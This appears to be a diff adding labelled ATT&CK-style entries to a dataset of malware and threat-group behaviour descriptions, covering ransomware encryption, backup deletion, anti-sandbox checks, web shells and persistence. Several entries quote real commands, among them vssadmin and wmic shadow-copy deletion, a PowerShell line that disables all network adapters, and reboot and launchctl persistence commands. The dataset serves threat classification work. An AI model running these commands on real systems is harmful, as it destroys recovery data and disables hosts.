+"Diavol has encrypted files using an RSA key though the `CryptEncrypt` API and has appended filenames with "".lock64""."	['T1486']
+EKANS uses standard encryption library functions to encrypt files.	['T1486']
+Egregor can encrypt all non-system files using a hybrid AES-RSA algorithm prior to displaying a ransom note.	['T1486']
+HELLOKITTY can use an embedded RSA-2048 public key to encrypt victim data for ransom.	['T1486']
+Indrik Spider has encrypted domain-controlled systems using BitPaymer.	['T1486']
+JCry has encrypted files and demanded Bitcoin to decrypt those files.	['T1486']
+LockerGoga has encrypted files, including core Windows OS files, using RSA-OAEP MGF1 and then demanded Bitcoin be paid for the decryption key.	['T1486']
+Maze has disrupted systems by encrypting files on targeted machines, claiming to decrypt files if a ransom payment is made. Maze has used the ChaCha algorithm, based on Salsa20, and an RSA algorithm to encrypt files.	['T1486']
+MegaCortex has used the open-source library, Mbed Crypto, and generated AES keys to carry out the file encryption process.	['T1486']
+Netwalker can encrypt files on infected machines to extort victims.	['T1486']
+Pay2Key can encrypt data on victim's machines using RSA and AES algorithms in order to extort a ransom payment for decryption.	['T1486']
+REvil can encrypt files on victim systems and demands a ransom to decrypt the files.	['T1486']
+RobbinHood will search for an RSA encryption key and then perform its encryption process on the system files.	['T1486']
+Ryuk has used a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Files have been encrypted with their own AES key and given a file extension of .RYK. Encrypted directories have had a ransom note of RyukReadMe.txt written to the directory.	['T1486']
+SamSam encrypts victim files using RSA-2048 encryption and demands a ransom be paid in Bitcoin to decrypt those files.	['T1486']
+Shamoon has an operational mode for encrypting data instead of overwriting it.	['T1486']
+SynAck encrypts the victims machine followed by asking the victim to pay a ransom.	['T1486']
+TA505 has used a wide variety of ransomware, such as Clop, Locky, Jaff, Bart, Philadelphia, and GlobeImposter, to encrypt victim files and demand a ransom payment.	['T1486']
+ThiefQuest encrypts a set of file extensions on a host, deletes the original files, and provides a ransom note with no contact information.	['T1486']
+WannaCry encrypts user files and demands that a ransom be paid in Bitcoin to decrypt those files.	['T1486']
+"XCSSET performs AES-CBC encryption on files under ""~/Documents"", ""~/Downloads"", and
+""~/Desktop"" with a fixed key and renames files to give them a "".enc"" extension. Only files with sizes 
+less than 500MB are encrypted."	['T1486']
+Xbash has maliciously encrypted victim's database systems and demanded a cryptocurrency ransom be paid.	['T1486']
+Babuk can stop specific services related to backups.	['T1489']
+"Conti can stop up to 146 Windows services related to security, backup, database, and email solutions through the use of ""net stop""."	['T1489']
+Diavol will terminate services using the Service Control Manager (SCM) API.	['T1489']
+Indrik Spider has used PsExec to stop services prior to the execution of ransomware.	['T1489']
+"Industroyer’s data wiper module writes zeros into the registry keys in ""SYSTEM\CurrentControlSet\Services"" to render a system inoperable."	['T1489']
+Lazarus Group has stopped the MSExchangeIS service to render Exchange contents inaccessible to users.	['T1489']
+LookBack can kill processes and delete services.	['T1489']
+Maze has stopped SQL services to ensure it can encrypt any database.	['T1489']
+MegaCortex can stop and disable services on the system.	['T1489']
+"Meteor can disconnect all network adapters on a compromised host using `powershell -Command ""Get-WmiObject -class Win32_NetworkAdapter | ForEach { If ($.NetEnabled) { $.Disable() } }"" > NUL`."	['T1489']
+Netwalker can terminate system processes and services, some of which relate to backup software.	['T1489']
+"Olympic Destroyer uses the API call ""ChangeServiceConfigW"" to disable all services on the affected system."	['T1489']
+Pay2Key can stop the MS SQL service at the end of the encryption process to release files locked by the service.	['T1489']
+REvil has the capability to stop services and kill processes.	['T1489']
+Ragnar Locker has attempted to stop services associated with business applications and databases to release the lock on files used by these applications so they may be encrypted.	['T1489']
+RobbinHood stops 181 Windows services on the system before beginning the encryption process.	['T1489']
+WannaCry attempts to kill processes associated with Exchange, Microsoft SQL Server, and MySQL to make it possible to encrypt their data stores.	['T1489']
+Wizard Spider has used taskkill.exe and net.exe to stop backup, catalog, cloud, and other services prior to network encryption.	['T1489']
+Avaddon deletes backups and shadow copies using native system tools.	['T1490']
+"Babuk has the ability to delete shadow volumes using ""vssadmin.exe delete shadows /all /quiet""."	['T1490']
+"Conti can delete Windows Volume Shadow Copies using ""vssadmin""."	['T1490']
+DEATHRANSOM can delete volume shadow copies on compromised hosts.	['T1490']
+"DarkWatchman can delete shadow volumes using ""vssadmin.exe""."	['T1490']
+EKANS removes backups of Volume Shadow Copies to disable any restoration capabilities.	['T1490']
+HELLOKITTY can delete volume shadow copies on compromised hosts.	['T1490']
+InvisiMole can can remove all system restore points.	['T1490']
+JCry has been observed deleting shadow copies to ensure that data cannot be restored easily.	['T1490']
+Meteor can use `bcdedit` to delete different boot identifiers on a compromised host; it can also use `vssadmin.exe delete shadows /all /quiet` and `C:\\Windows\\system32\\wbem\\wmic.exe shadowcopy delete`.	['T1490']
+Netwalker can delete the infected system's Shadow Volumes to prevent recovery.	['T1490']
+ProLock can use vssadmin.exe to remove volume shadow copies.	['T1490']
+Pysa has the functionality to delete shadow copies.	['T1490']
+RobbinHood deletes shadow copies to ensure that all the data cannot be restored easily.	['T1490']
+"Ryuk has used ""vssadmin Delete Shadows /all /quiet"" to to delete volume shadow copies and ""vssadmin resize shadowstorage"" to force deletion of shadow copies created by third-party applications."	['T1490']
+"WannaCry uses ""vssadmin"", ""wbadmin"", ""bcdedit"", and ""wmic"" to delete and disable operating system recovery features."	['T1490']
+WastedLocker can delete shadow volumes.	['T1490']
+"After encryption, Diavol will capture the desktop background window, set the background color to black, and change the desktop wallpaper to a newly created bitmap image with the text “All your files are encrypted! For more information see “README-FOR-DECRYPT.txt""."	['T1491.001']
+Gamaredon Group has left taunting images and messages on the victims' desktops as proof of system access.	['T1491.001']
+Sandworm Team defaced approximately 15,000 websites belonging to Georgian government, non-government, and private sector organizations in 2019.	['T1491.002']
+Bad Rabbit has used an executable that installs a modified bootloader to prevent normal boot-up.	['T1495']
+APT41 deployed a Monero cryptocurrency mining tool in a victim’s environment.	['T1496']
+CookieMiner has loaded coinmining software onto systems to mine for Koto cryptocurrency.	['T1496']
+Hildegard has used xmrig to mine cryptocurrency.	['T1496']
+Imminent Monitor has the capability to run a cryptocurrency miner on the victim machine.	['T1496']
+Kinsing has created and run a Bitcoin cryptocurrency miner.	['T1496']
+Lazarus Group has subset groups like Bluenoroff who have used cryptocurrency mining software on victim machines.	['T1496']
+LoudMiner harvested system resources to mine cryptocurrency, using XMRig to mine Monero.	['T1496']
+Lucifer can use system resources to mine cryptocurrency, dropping XMRig to mine Monero.	['T1496']
+Rocke has distributed cryptomining malware.	['T1496']
+Skidmap is a kernel-mode rootkit used for cryptocurrency mining.	['T1496']
+TeamTNT has deployed XMRig Docker images to mine cryptocurrency. TeamTNT has also infected Docker containers and Kubernetes clusters with XMRig, and used RainbowMiner and lolMiner for mining cryptocurrency.	['T1496']
+Agent Tesla has he ability to perform anti-sandboxing and anti-virtualization checks.	['T1497']
+Bumblebee has the ability to perform anti-virtualization checks.	['T1497']
+CHOPSTICK  includes runtime checks to identify an analysis environment and prevent execution on it.	['T1497']
+Carberp has removed various hooks before installing the trojan or bootkit to evade sandbox analysis or other analysis software.	['T1497']
+Darkhotel malware has employed just-in-time decryption of strings to evade sandbox detection.	['T1497']
+During Operation Spalax, the threat actors used droppers that would run anti-analysis checks before executing malware on a compromised host.	['T1497']
+Gelsemium can use junk code to generate random activity to obscure malware behavior.	['T1497']
+HAWKBALL has methods to check if the process the malware uses is being debugged.	['T1497']
+Kevin can sleep for a time interval between C2 communication attempts.	['T1497']
+"Lucifer can crash a debugger by passing a format string to ""OutputDebugStringA()""."	['T1497']
+"Metamorfo has embedded a ""vmdetect.exe"" executable to identify virtual machines at the beginning of execution."	['T1497']
+Pteranodon has the ability to use anti-detection functions to identify sandbox environments.	['T1497']
+Some versions of CozyCar will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit.	['T1497']
+The White Company has performed anti-analysis checks to determine if its malware was in a debugging environment.	['T1497']
+Attor can detect whether it is executed in some virtualized or emulated environment by searching for specific artifacts, such as communication with I/O ports and using VM-specific instructions.	['T1497.001']
+BadPatch attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard information.	['T1497.001']
+Bumblebee has the ability to search for designated file paths and Registry keys that indicate a virtualized environment from multiple products.	['T1497.001']
+"Darkhotel malware has used a series of checks to determine if it's being analyzed; checks include the length of executable names, if a filename ends with "".Md5.exe"", and if the program is executed from the root of the C:\ drive, as well as checks for sandbox-related libraries."	['T1497.001']
+Denis ran multiple system checks, looking for processor and register characteristics, to evade emulation and analysis.	['T1497.001']
+During Frankenstein, the threat actors used a script that ran WMI queries to check if a VM or sandbox was running, including VMWare and Virtualbox. The script would also call WMI to determine the number of cores allocated to the system; if less than two the script would stop execution.	['T1497.001']
+Dyre can detect sandbox analysis environments by inspecting the process list and Registry.	['T1497.001']
+EvilBunny's dropper has checked the number of processes and the length and strings of its own file name to identify if the malware is in a sandbox environment.	['T1497.001']
+Evilnum has used a component called TerraLoader to check certain hardware and file information to detect sandboxed environments.	['T1497.001']
+"Ferocious can run anti-sandbox checks using the Microsoft Excel 4.0 function ""GET.WORKSPACE"" to determine the OS version, if there is a mouse present, and if the host is capable of playing sounds."	['T1497.001']
+FinFisher obtains the hardware device list and checks if the MD5 of the vendor ID is equal to a predefined list in order to check for sandbox/virtualized environments.	['T1497.001']
+Frankenstein has used WMI queries to check if various security applications were running, including VMWare and Virtualbox.	['T1497.001']
+"GoldMax will check if it is being run in a virtualized environment by comparing the collected MAC address to ""c8:27:cc:c2:37:5a""."	['T1497.001']
+"Grandoreiro can detect VMWare via its I/O port and Virtual PC via the ""vpcext"" instruction."	['T1497.001']
+"GuLoader has the ability to perform anti-VM and anti-sandbox checks using string hashing, the API call ""EnumWindows"", and checking for Qemu guest agent."	['T1497.001']
+InvisiMole can check for artifacts of VirtualBox, Virtual PC and VMware environment, and terminate itself if they are detected.	['T1497.001']
+Lazarus Group has used tools to detect sandbox or VMware services through identifying the presence of a debugger or related services.	['T1497.001']
+Lucifer can check for specific usernames, computer names, device drivers, DLL's, and virtual devices associated with sandboxed environments and can enter an infinite loop and stop itself if any are detected.	['T1497.001']
+MegaCortex has checked the number of CPUs in the system to avoid being run in a sandbox or emulator.	['T1497.001']
+NativeZone has checked if Vmware or VirtualBox VM is running on a compromised host.	['T1497.001']
+"OSX_OCEANLOTUS.D has variants that check a number of system parameters to see if it is being run on real hardware or in a virtual machine environment, such as ""sysctl hw.model""."	['T1497.001']
+OilRig has used macros to verify if a mouse is connected to a compromised machine.	['T1497.001']
+Okrum's loader can check the amount of physical memory and terminates itself if the host has less than 1.5 Gigabytes of physical memory in total.	['T1497.001']
+"PlugX checks if VMware tools is running in the background by searching for any process named ""vmtoolsd""."	['T1497.001']
+"PoetRAT checked the size of the hard drive to determine if it was being run in a sandbox environment. In the event of sandbox detection, it would delete itself by overwriting the malware scripts with the contents of ""License.txt"" and exiting."	['T1497.001']
+Pupy has a module that checks a number of indicators on the system to determine if its running on a virtual machine.	['T1497.001']
+QakBot can check the compromised host for the presence of multiple executables associated with analysis tools and halt execution if any are found.	['T1497.001']
+ROKRAT can check for VMware-related files and DLLs related to sandboxes.	['T1497.001']
+Remcos searches for Sandboxie and VMware on the system.	['T1497.001']
+Smoke Loader scans processes to perform anti-VM checks.	['T1497.001']
+UBoatRAT checks for virtualization software such as VMWare, VirtualBox, or QEmu on the compromised machine.	['T1497.001']
+WastedLocker checked if UCOMIEnumConnections and IActiveScriptParseProcedure32 Registry keys were detected as part of its anti-analysis technique.	['T1497.001']
+WhisperGate can stop its execution when it recognizes the presence of certain monitoring tools.	['T1497.001']
+macOS.OSAMiner can parse the output of the native `system_profiler` tool to determine if the machine is running with 4 cores.	['T1497.001']
+yty has some basic anti-sandbox detection that tries to detect Virtual PC, Sandboxie, and VMware.	['T1497.001']
+Darkhotel has used malware that repeatedly checks the mouse cursor position to determine if a real user is on the system.	['T1497.002']
+FIN7 used images embedded into document lures that only activate the payload when a user double clicks to avoid sandboxes.	['T1497.002']
+Okrum loader only executes the payload after the left mouse button has been pressed at least three times, in order to avoid being executed within virtualized or emulated environments.	['T1497.002']
+After initial installation, Raindrop runs a computation to delay execution.	['T1497.003']
+AppleJeus has waited a specified time before downloading a second stage payload.	['T1497.003']
+BADFLICK has delayed communication to the actor-controlled IP address by 5 minutes.	['T1497.003']
+Bazar can use a timer to delay execution of core functionality.	['T1497.003']
+"BendyBear can check for analysis environments and signs of debugging using the Windows API ""kernel32!GetTickCountKernel32"" call."	['T1497.003']
+Bisonal has checked if the malware is running in a virtual environment with the anti-debug function GetTickCount() to compare the timing.	['T1497.003']
+Clambling can wait 30 minutes before initiating contact with C2.	['T1497.003']
+Crimson can determine when it has been installed on a host for at least 15 days before downloading the final payload.	['T1497.003']
+Egregor can perform a  long sleep (greater than or equal to 3 minutes) to evade detection.	['T1497.003']
+FatDuke can turn itself on or off at random intervals.	['T1497.003']
+GrimAgent can sleep for 195 - 205 seconds after payload execution and before deleting its task.	['T1497.003']
+HermeticWiper has the ability to receive a command parameter to sleep prior to carrying out destructive actions on a targeted host.	['T1497.003']
+LiteDuke can wait 30 seconds before executing additional code if security software is detected.	['T1497.003']
+"P8RAT has the ability to ""sleep"" for a specified time to evade detection."	['T1497.003']
+Pony has delayed execution using a built-in function to avoid detection and analysis.	['T1497.003']
+SUNBURST remained dormant after initial access for a period of up to two weeks.	['T1497.003']
+Saint Bot has used the command `timeout 20` to pause the execution of its initial loader.	['T1497.003']
+"SodaMaster has the ability to put itself to ""sleep"" for a specified time."	['T1497.003']
+The QakBot dropper can delay dropping the payload to evade detection.	['T1497.003']
+"ThiefQuest invokes ""time"" call to check the system's time, executes a ""sleep"" command, invokes a second ""time"" call, and then compares the time difference between the two ""time"" calls and the amount of time the system slept to identify the sandbox."	['T1497.003']
+"TrickBot has used ""printf"" and file I/O loops to delay process execution as part of API hammering."	['T1497.003']
+"Using the machine's local time, XCSSET waits 43200 seconds (12 hours) from the initial creation timestamp of a specific file, "".report"". After the elapsed time, XCSSET executes additional modules."	['T1497.003']
+WhisperGate can pause for 20 seconds to bypass antivirus solutions.	['T1497.003']
+OnionDuke has the capability to use a Denial of Service module.	['T1499']
+Sandworm Team temporarily disrupted service to Georgian government, non-government, and private sector websites after compromising a Georgian web hosting provider in 2019.	['T1499']
+ZxShell has a feature to perform SYN flood attack on a host.	['T1499']
+Industroyer uses a custom DoS tool that leverages CVE-2015-5374 and targets hardcoded IP addresses of Siemens SIPROTEC devices.	['T1499.004']
+Sandworm Team has used various MS-SQL stored procedures.	['T1505.001']
+Stuxnet used xp_cmdshell to store and execute SQL code.	['T1505.001']
+LightNeuron has used a malicious Microsoft Exchange transport agent for persistence.	['T1505.002']
+APT28 has used a modified and obfuscated version of the reGeorg web shell to maintain persistence on a target's Outlook Web Access (OWA) server.	['T1505.003']
+APT29 has installed web shells on exploited Microsoft Exchange servers.	['T1505.003']
+APT32 has used Web shells to maintain access to victim websites.	['T1505.003']
+APT38 has used web shells for persistence or to ensure redundant access.	['T1505.003']
+APT39 has installed ANTAK and ASPXSPY web shells.	['T1505.003']
+ASPXSpy is a Web shell. The ASPXTool version used by Threat Group-3390 has been deployed to accessible servers running Internet Information Services (IIS).	['T1505.003']
+BackdoorDiplomacy has used web shells to establish an initial foothold and for lateral movement within a victim's system.	['T1505.003']
+China Chopper's server component is a Web Shell payload.	['T1505.003']
+Dragonfly has commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.	['T1505.003']
+During Operation Wocao, threat actors used their own web shells, as well as those previously placed on target systems by other threat actors, for reconnaissance and lateral movement.	['T1505.003']
+GALLIUM used Web shells to persist in victim environments and assist in execution and exfiltration.	['T1505.003']
+HAFNIUM has deployed multiple web shells on compromised servers including SIMPLESEESHARP, SPORTSBALL, China Chopper, and ASPXSpy.	['T1505.003']
+"Kimsuky has used modified versions of open source PHP web shells to maintain access, often adding ""Dinosaur"" references within the code."	['T1505.003']
+Leviathan relies on web shells for an initial foothold as well as persistence into the victim's systems.	['T1505.003']
+Moses Staff has dropped a web shell onto a compromised system.	['T1505.003']
+OilRig has used web shells, often to maintain access to a victim network.	['T1505.003']
+OwaAuth is a Web shell that appears to be exclusively used by Threat Group-3390. It is installed as an ISAPI filter on Exchange servers and shares characteristics with the China Chopper Web shell.	['T1505.003']
+P.A.S. Webshell can gain remote access and execution on target web servers.	['T1505.003']
+SUPERNOVA is a Web shell.	['T1505.003']
+Sandworm Team has used webshells including P.A.S. Webshell to maintain access to victim networks.	['T1505.003']
+TEMP.Veles has planted Web shells on Outlook Exchange servers.	['T1505.003']
+Threat Group-3390 has used a variety of Web shells.	['T1505.003']
+Tonto Team has used a first stage web shell after compromising a vulnerable Exchange server.	['T1505.003']
+Tropic Trooper has started a web service in the target host and wait for the adversary to connect, acting as a web shell.	['T1505.003']
+IceApple is an IIS post-exploitation framework, consisting of 18 modules that provide several functionalities.	['T1505.004']
+RGDoor establishes persistence on webservers as an IIS module.	['T1505.004']
+Bazar can query the Registry for installed applications.	['T1518']
+CharmPower can list the installed applications on a compromised host.	['T1518']
+ComRAT can check the victim's default browser to determine which process to inject its communications module into.	['T1518']
+Dridex has collected a list of installed software on the system.	['T1518']
+During Operation Dust Storm, the threat actors deployed a file called `DeployJava.js` to fingerprint installed software on a victim system prior to exploit delivery.	['T1518']
+During Operation Wocao, threat actors collected a list of installed software on the infected system.	['T1518']
+HEXANE has enumerated programs installed on an infected machine.	['T1518']
+"HotCroissant can retrieve a list of applications from the ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths"" registry key."	['T1518']
+Inception has enumerated installed software on compromised systems.	['T1518']
+InvisiMole can collect information about installed software used by specific users, software executed on user login, and software executed by each system.	['T1518']
+KGH_SPY can collect information on installed applications.	['T1518']
+MarkiRAT can check for the Telegram installation directory by enumerating the files on disk.	['T1518']
+Metamorfo has searched the compromised system for banking applications.	['T1518']
+MuddyWater has used a PowerShell backdoor to check for Skype connectivity on the target machine.	['T1518']
+P.A.S. Webshell can list PHP server configuration details.	['T1518']
+QakBot can enumerate a list of installed programs.	['T1518']
+RTM can scan victim drives to look for specific banking software on the machine to determine next actions.	['T1518']
+SUGARDUMP can identify Chrome, Opera, Edge Chromium, and Firefox browsers, including version number, on a compromised host.	['T1518']
+Siloscape searches for the kubectl binary.	['T1518']
+TajMahal has the ability to identify the Internet Explorer (IE) version on an infected host.	['T1518']
+The Cobalt Strike System Profiler can discover applications through the browser and identify the version of Java the target has.	['T1518']
+Tropic Trooper's backdoor could list the infected system's installed software.	['T1518']
+Windigo has used a script to detect installed software on targeted systems.	['T1518']
+Windshift has used malware to identify installed software.	['T1518']
+"XCSSET uses ""ps aux"" with the ""grep"" command to enumerate common browsers and system processes potentially impacting XCSSET's exfiltration capabilities."	['T1518']
+down_new has the ability to gather information on installed applications.	['T1518']
+ABK has the ability to identify the installed anti-virus product on the compromised host.	['T1518.001']
+APT38 has identified security software, configurations, defensive tools, and sensors installed on a compromised system.	['T1518.001']
+Action RAT can identify AV products on an infected host using the following command: `cmd.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List`.	['T1518.001']
+Amadey has checked for a variety of antivirus products.	['T1518.001']
+Aquatic Panda has attempted to discover third party endpoint detection and response (EDR) tools on compromised systems.	['T1518.001']
+"Astaroth checks for the presence of Avast antivirus in the ""C:\Program\Files\"" folder."	['T1518.001']
+AuTo Stealer has the ability to collect information about installed AV products from an infected host.	['T1518.001']
+BLUELIGHT can collect a list of anti-virus products installed on a machine.	['T1518.001']
+Bazar can identify the installed antivirus engine.	['T1518.001']
+CHOPSTICK checks for antivirus and forensics software.	['T1518.001']
+Clop can search for processes with antivirus and antimalware product names.	['T1518.001']
+Cobalt Group used a JavaScript backdoor that is capable of collecting a list of the security solutions installed on the victim's machine.	['T1518.001']
+Comnie attempts to detect several anti-virus products.	['T1518.001']
+DarkWatchman can search for anti-virus products on the system.	['T1518.001']
+Darkhotel has searched for anti-malware strings and anti-virus processes running on the system.	['T1518.001']
+During Frankenstein, the threat actors used WMI queries to determine if analysis tools were running on a compromised system.	['T1518.001']
+During Operation Wocao, threat actors used scripts to detect security software.	['T1518.001']
+EVILNUM can search for anti-virus products on the system.	['T1518.001']
+Empire can enumerate antivirus software on the target.	['T1518.001']
+Epic searches for anti-malware services running on the victim’s machine and terminates itself if it finds them.	['T1518.001']
+EvilBunny has been observed querying installed antivirus software.	['T1518.001']
+FELIXROOT checks for installed security software like antivirus and firewall.	['T1518.001']
+FIN8 has used Registry keys to detect and avoid executing in potential sandboxes.	['T1518.001']
+Felismus checks for processes associated with anti-virus vendors.	['T1518.001']
+FinFisher probes the system to check for antimalware processes.	['T1518.001']
+Flame identifies security software such as antivirus through the Security module.	['T1518.001']
+FlawedAmmyy will attempt to detect anti-virus products during the initial infection.	['T1518.001']
+Frankenstein has used WMI queries to detect if virtualization environments or analysis tools were running on the system.	['T1518.001']
+FunnyDream can identify the processes for Bkav antivirus.	['T1518.001']
+Gelsemium can check for the presence of specific security products.	['T1518.001']
+Gold Dragon checks for anti-malware products and processes.	['T1518.001']
+Grandoreiro can list installed security products including the Trusteer and Diebold Warsaw GAS Tecnologia online banking protections.	['T1518.001']
+InvisiMole can check for the presence of network sniffers, AV, and BitDefender firewall.	['T1518.001']
+JPIN checks for the presence of certain security-related processes and deletes its installer/uninstaller component if it identifies any of them.	['T1518.001']
+"Kimsuky has checked for the presence of antivirus software with ""powershell Get-CimInstance -Namespace root/securityCenter2 – classname antivirusproduct""."	['T1518.001']
+LiteDuke has the ability to check for the presence of Kaspersky security software.	['T1518.001']
+LitePower can identify installed AV software.	['T1518.001']
+MarkiRAT can check for running processes on the victim’s machine to look for Kaspersky and Bitdefender antivirus products.	['T1518.001']
+Meteor has the ability to search for Kaspersky Antivirus on a victim's machine.	['T1518.001']
+More_eggs can obtain information on installed anti-malware programs.	['T1518.001']
+MuddyWater has used malware to check running processes against a hard-coded list of security tools often used by malware researchers.	['T1518.001']
+"Naikon uses commands such as ""netsh advfirewall firewall"" to discover local firewall settings."	['T1518.001']
+Netwalker can detect and terminate active security software-related processes on infected systems.	['T1518.001', 'T1562.001']
+NotPetya determines if specific antivirus programs are running on an infected host machine.	['T1518.001']
+POWERSTATS has detected security tools.	['T1518.001']
+POWRUNER may collect information on the victim's anti-virus software.	['T1518.001']
+PUNCHBUGGY can gather AVs registered in the system.	['T1518.001']
+Patchwork scanned the “Program Files” directories for a directory with the string “Total Security” (the installation path of the “360 Total Security” antivirus tool).	['T1518.001']
+PipeMon can check for the presence of ESET and Kaspersky security software.	['T1518.001']
+QakBot can identify the installed antivirus product on a targeted system.	['T1518.001']
+RTM can obtain information about security software on the victim.	['T1518.001']
+Remsec has a plugin to detect active drivers of some security products.	['T1518.001']
+Rocke used scripts which detected and uninstalled antivirus software.	['T1518.001', 'T1562.001']
+SILENTTRINITY can determine if an anti-virus product is installed through the resolution of the service's virtual SID.	['T1518.001']
+SUNBURST checked for a variety of antivirus/endpoint detection agents prior to execution.	['T1518.001']
+SideCopy uses a loader DLL file to collect AV product names from an infected host.	['T1518.001']
+"Sidewinder has used the Windows service ""winmgmts:\\.\root\SecurityCenter2"" to check installed antivirus products."	['T1518.001']
+"Skidmap has the ability to check if ""/usr/sbin/setenforce"" exists. This file controls what mode SELinux is in."	['T1518.001']
+StoneDrill can check for antivirus and antimalware programs.	['T1518.001']
+T9000 performs checks for various antivirus and security products during installation.	['T1518.001']
+Tasklist can be used to enumerate security software currently running on a system by process name of known products.	['T1518.001']
+TeamTNT has searched for security products on infected machines.	['T1518.001']
+The White Company has checked for specific antivirus products on the target’s computer, including Kaspersky, Quick Heal, AVG, BitDefender, Avira, Sophos, Avast!, and ESET.	['T1518.001']
+The main CozyCar dropper checks whether the victim has an anti-virus product installed. If the installed product is on a predetermined list, the dropper will exit.	['T1518.001']
+"ThiefQuest uses the ""kill_unwanted"" function to get a list of running processes, compares each process with an encrypted list of “unwanted” security related programs, and kills the processes for security related programs."	['T1518.001']
+Tropic Trooper can search for anti-virus software running on the system.	['T1518.001']
+Turla has obtained information on security software, including security logging information that may indicate whether their malware has been detected.	['T1518.001']
+Valak can determine if a compromised host has security products installed.	['T1518.001']
+Waterbear can find the presence of a specific security software.	['T1518.001']
+WhisperGate can recognize the presence of monitoring tools on a target system.	['T1518.001']
+Windshift has used malware to identify installed AV and commonly used forensic and malware analysis tools.	['T1518.001']
+Wingbird checks for the presence of Bitdefender security software.	['T1518.001']
+Wizard Spider has used WMI to identify anti-virus products installed on a victim's machine.	['T1518.001']
+Zeus Panda checks to see if anti-virus, anti-spyware, or firewall products are installed in the victim’s environment.	['T1518.001']
+down_new has the ability to detect anti-virus products and processes on a compromised host.	['T1518.001']
+jRAT can list security software, such as by using WMIC to identify anti-virus products installed on the victim’s machine and to obtain firewall details.	['T1518.001']
+netsh can be used to discover system firewall settings.	['T1518.001']
+xCaon has checked for the existence of Kaspersky antivirus software on the system.	['T1518.001']
+AADInternals can enumerate information about a variety of cloud services, such as Office 365 and Sharepoint instances or OpenID Configurations.	['T1526']
+"APT28 has used several malicious applications to steal user OAuth access tokens including applications masquerading as ""Google Defender"" ""Google Email Protection,"" and ""Google Scanner"" for Gmail users. They also targeted Yahoo users with applications masquerading as ""Delivery Service"" and ""McAfee Email Protection""."	['T1528']
+Peirates gathers Kubernetes service account tokens using a variety of techniques.	['T1528']
+"APT37 has used malware that will issue the command ""shutdown /r /t 1"" to reboot a system after wiping its MBR."	['T1529']
+APT38 has used a custom MBR wiper named BOOTWRECK, which will initiate a system reboot after wiping the victim's MBR.	['T1529']
+DCSrv has a function to sleep for two hours before rebooting the system.	['T1529']
+DustySky can shutdown the infected machine.	['T1529']
+KillDisk attempts to reboot the machine by terminating specific processes.	['T1529']
+LockerGoga has been observed shutting down infected systems.	['T1529']
+LookBack can shutdown and reboot the victim machine.	['T1529']
+NotPetya will reboot the system one hour after infection.	['T1529']
+Peirates can dump the contents of AWS S3 buckets. It can also retrieve service account tokens from kOps buckets in Google Cloud Storage or S3.	['T1530']
+LAPSUS$ has removed a targeted organization's global admin accounts to lock the organization out of all access.	['T1531']
+LockerGoga has been observed changing account passwords and logging off current users.	['T1531']
+Meteor has the ability to change the password of local users on compromised hosts and can log off users.	['T1531']
+HEXANE has conducted internal spearphishing attacks against executives, HR, and IT personnel to gain information and access.	['T1534']
+Kimsuky has sent internal spearphishing emails for lateral movement after stealing victim information.	['T1534']
+Lazarus Group has conducted internal spearphishing from within a compromised organization.	['T1534']
+Leviathan has conducted internal spearphishing within the victim's environment for lateral movement.	['T1534']
+APT29 has stolen Chrome browser cookies by copying the Chrome profile directories of targeted users.	['T1539']
+BLUELIGHT can harvest cookies from Internet Explorer, Edge, Chrome, and Naver Whale browsers.	['T1539']
+Chaes has used a script that extracts the web session cookie and sends it to the C2 server.	['T1539']
+CookieMiner can steal Google Chrome and Apple Safari browser cookies from the victim’s machine.	['T1539']
+EVILNUM can harvest cookies and upload them to the C2 server.	['T1539']
+Evilnum can steal cookies and session information from browsers.	['T1539']
+Grandoreiro can steal the victim's cookies to use for duplicating the active session from another device.	['T1539']
+QakBot has the ability to capture web session cookies.	['T1539']
+"XCSSET uses ""scp"" to access the ""~/Library/Cookies/Cookies.binarycookies"" file."	['T1539']
+Cyclops Blink has maintained persistence by patching legitimate device firmware when it is downloaded, including that of WatchGuard devices.	['T1542.002']
+Equation is known to have the capability to overwrite the firmware on hard drives from some manufacturers.	['T1542.002']
+APT28 has deployed a bootkit along with Downdelph to ensure its persistence on the victim. The bootkit shares code with some variants of BlackEnergy.	['T1542.003']
+APT41 deployed Master Boot Record bootkits on Windows systems to hide their malware and maintain persistence on victim systems.	['T1542.003']
+BOOTRASH is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence.	['T1542.003']
+Carberp has installed a bootkit on the system to maintain persistence.	['T1542.003']
+Lazarus Group malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.	['T1542.003']
+ROCKBOOT is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence.	['T1542.003']
+Some FinFisher variants incorporate an MBR rootkit.	['T1542.003']
+TrickBot can implant malicious code into a compromised device's firmware.	['T1542.003']
+Exaramel for Linux has a hardcoded location that it uses to achieve persistence if the startup system is Upstart or System V and it is running as root.	['T1543']
+FatDuke has the ability to create a process.	['T1543']
+MiniDuke can create a process on a compromised host.	['T1543']
+Bundlore can persist via a LaunchAgent.	['T1543.001']
+CoinTicker creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.	['T1543.001']
+CookieMiner has installed multiple new Launch Agents in order to maintain persistence for cryptocurrency mining software.	['T1543.001']
+CrossRAT creates a Launch Agent on macOS.	['T1543.001']
+FruitFly persists via a Launch Agent.	['T1543.001']
+Keydnap uses a Launch Agent to persist.	['T1543.001']
+MacMa installs a `com.apple.softwareupdate.plist` file in the `/LaunchAgents` folder with the `RunAtLoad` value set to `true`. Upon user login, MacMa is executed from `/var/root/.local/softwareupdate` with root privileges. Some variations also include the `LimitLoadToSessionType` key with the value `Aqua`, ensuring the MacMa only runs when there is a logged in GUI user.	['T1543.001']
+MacSpy persists via a Launch Agent.	['T1543.001']
+NETWIRE can use launch agents for persistence.	['T1543.001']
+"The Komplex trojan creates a persistent launch agent called with ""$HOME/Library/LaunchAgents/com.apple.updates.plist"" with ""launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist""."	['T1543.001']
+Exaramel for Linux has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.	['T1543.002']
+Hildegard has started a monero service.	['T1543.002']
+Pupy can be used to establish persistence using a systemd service.	['T1543.002']
